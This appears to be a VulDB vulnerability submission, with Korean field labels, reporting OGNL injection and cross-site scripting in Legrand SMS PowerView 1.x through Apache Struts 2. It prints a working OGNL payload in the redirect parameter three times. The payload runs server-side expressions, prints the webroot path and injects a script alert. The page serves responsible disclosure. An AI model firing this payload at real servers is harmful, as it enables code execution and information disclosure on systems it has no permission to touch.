| 제목 | Lagrand SMS PowerView 1.x.x Cross Site Scripting |
|---|
| 설명 | In SMS PowerView systems, it is possible to exploit an OGNL Injection due to the system using Apache Struts 2. Given this, we have the following payload to demonstrate the possibility of Cross-Site Scripting (XSS):
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23webroot%3d%23req.getSession().getServletContext().getRealPath(%27/%27),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.print(%27%3cscript%3ealert(%22Fr1t0%22)%3c%2fscript%3e%20%27),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()}
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23webroot%3d%23req.getSession().getServletContext().getRealPath(%27/%27),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.print(%27%3cscript%3ealert(%22Fr1t0%22)%3c%2fscript%3e%20%27),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()}
https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23webroot%3d%23req.getSession().getServletContext().getRealPath(%27/%27),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter(),%23resp.print(%27%3cscript%3ealert(%22Fr1t0%22)%3c%2fscript%3e%20%27),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()} |
|---|
| 원천 | ⚠️ https://x.x.x.x:8443/?redirect:${%23req%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27),%23webroot%3d%23req.getSession().getServletContext().getRealPath(%27/%27),%23resp%3d%23context.get(%27com.opensymphony.xwork2.dispa |
|---|
| 사용자 | Fr1t0 (UID 82967) |
|---|
| 제출 | 2025. 04. 03. PM 09:10 (1 년도 ago) |
|---|
| 모더레이션 | 2025. 04. 14. PM 02:49 (11 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 302033 [Legrand SMS PowerView 1.x redirect 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 0 |
|---|